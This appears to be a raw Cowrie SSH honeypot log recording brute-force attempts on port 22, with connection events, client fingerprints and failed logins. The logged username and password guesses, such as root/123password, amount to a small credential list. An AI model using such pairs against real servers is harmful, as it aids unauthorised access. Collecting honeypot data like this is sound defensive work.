{"eventid":"cowrie.login.failed","username":"adriana","password":"adriana","message":"login attempt [adriana/adriana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:28:06.738080Z","src_ip":"159.203.92.129","session":"a2c0b9eba575","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:28:07.746974Z","src_ip":"159.203.92.129","session":"a2c0b9eba575","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.232.73.84","src_port":60794,"dst_ip":"159.203.135.109","dst_port":22,"session":"d2bc6915236e","protocol":"ssh","message":"New connection: 45.232.73.84:60794 (159.203.135.109:22) [session: d2bc6915236e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:28:27.459003Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:28:27.467348Z","src_ip":"45.232.73.84","session":"d2bc6915236e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:28:27.588100Z","src_ip":"45.232.73.84","session":"d2bc6915236e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"p@ssw0rd123","message":"login attempt [ubuntu/p@ssw0rd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:28:28.080863Z","src_ip":"45.232.73.84","session":"d2bc6915236e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:28:29.214814Z","src_ip":"45.232.73.84","session":"d2bc6915236e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":54714,"dst_ip":"159.203.135.109","dst_port":22,"session":"2d1b762790e4","protocol":"ssh","message":"New connection: 159.203.92.129:54714 (159.203.135.109:22) [session: 2d1b762790e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:28:48.424266Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:28:48.429472Z","src_ip":"159.203.92.129","session":"2d1b762790e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:28:48.433951Z","src_ip":"159.203.92.129","session":"2d1b762790e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adrien","password":"adrien","message":"login attempt [adrien/adrien] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:28:48.445977Z","src_ip":"159.203.92.129","session":"2d1b762790e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:28:49.452338Z","src_ip":"159.203.92.129","session":"2d1b762790e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.163.183","src_port":62910,"dst_ip":"10.17.0.5","dst_port":22,"session":"bff028648803","protocol":"ssh","message":"New connection: 152.32.163.183:62910 (10.17.0.5:22) [session: bff028648803]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:29:20.026157Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:29:20.031136Z","src_ip":"152.32.163.183","session":"bff028648803","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.232.73.84","src_port":49554,"dst_ip":"159.203.135.109","dst_port":22,"session":"0d816dd780bf","protocol":"ssh","message":"New connection: 45.232.73.84:49554 (159.203.135.109:22) [session: 0d816dd780bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:29:24.807817Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:29:24.813609Z","src_ip":"45.232.73.84","session":"0d816dd780bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:29:24.942997Z","src_ip":"45.232.73.84","session":"0d816dd780bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123password","message":"login attempt [root/123password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:29:25.482853Z","src_ip":"45.232.73.84","session":"0d816dd780bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:29:26.612430Z","src_ip":"45.232.73.84","session":"0d816dd780bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":39534,"dst_ip":"159.203.135.109","dst_port":22,"session":"a4ae8f6a98d2","protocol":"ssh","message":"New connection: 159.203.92.129:39534 (159.203.135.109:22) [session: a4ae8f6a98d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:29:30.515315Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:29:30.522819Z","src_ip":"159.203.92.129","session":"a4ae8f6a98d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:29:30.528987Z","src_ip":"159.203.92.129","session":"a4ae8f6a98d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ads","password":"123456","message":"login attempt [ads/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:29:30.551856Z","src_ip":"159.203.92.129","session":"a4ae8f6a98d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:29:31.559689Z","src_ip":"159.203.92.129","session":"a4ae8f6a98d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:29:48.714106Z","src_ip":"152.32.163.183","session":"3bd06d0c60d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":50070,"dst_ip":"159.203.135.109","dst_port":22,"session":"9d06f16434ab","protocol":"ssh","message":"New connection: 159.203.92.129:50070 (159.203.135.109:22) [session: 9d06f16434ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:30:16.167265Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:30:16.183136Z","src_ip":"159.203.92.129","session":"9d06f16434ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:30:16.186900Z","src_ip":"159.203.92.129","session":"9d06f16434ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ads","password":"ads","message":"login attempt [ads/ads] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:30:16.225083Z","src_ip":"159.203.92.129","session":"9d06f16434ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:30:17.243690Z","src_ip":"159.203.92.129","session":"9d06f16434ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.232.73.84","src_port":38318,"dst_ip":"159.203.135.109","dst_port":22,"session":"96cf224afbd1","protocol":"ssh","message":"New connection: 45.232.73.84:38318 (159.203.135.109:22) [session: 96cf224afbd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:30:24.817014Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:30:24.822017Z","src_ip":"45.232.73.84","session":"96cf224afbd1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:30:24.959464Z","src_ip":"45.232.73.84","session":"96cf224afbd1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wzy123456","message":"login attempt [root/wzy123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:30:25.494927Z","src_ip":"45.232.73.84","session":"96cf224afbd1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:30:26.627789Z","src_ip":"45.232.73.84","session":"96cf224afbd1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.163.183","src_port":25446,"dst_ip":"10.17.0.5","dst_port":22,"session":"85aa8c561d8d","protocol":"ssh","message":"New connection: 152.32.163.183:25446 (10.17.0.5:22) [session: 85aa8c561d8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:30:52.564827Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:30:52.570119Z","src_ip":"152.32.163.183","session":"85aa8c561d8d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:30:52.818046Z","src_ip":"152.32.163.183","session":"85aa8c561d8d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Pa$$w0rd12345","message":"login attempt [ubuntu/Pa$$w0rd12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:30:53.839061Z","src_ip":"152.32.163.183","session":"85aa8c561d8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:30:55.088774Z","src_ip":"152.32.163.183","session":"85aa8c561d8d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":52750,"dst_ip":"159.203.135.109","dst_port":22,"session":"d90065f93683","protocol":"ssh","message":"New connection: 159.203.92.129:52750 (159.203.135.109:22) [session: d90065f93683]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:31:00.055382Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:31:00.061171Z","src_ip":"159.203.92.129","session":"d90065f93683","protocol":"ssh"}
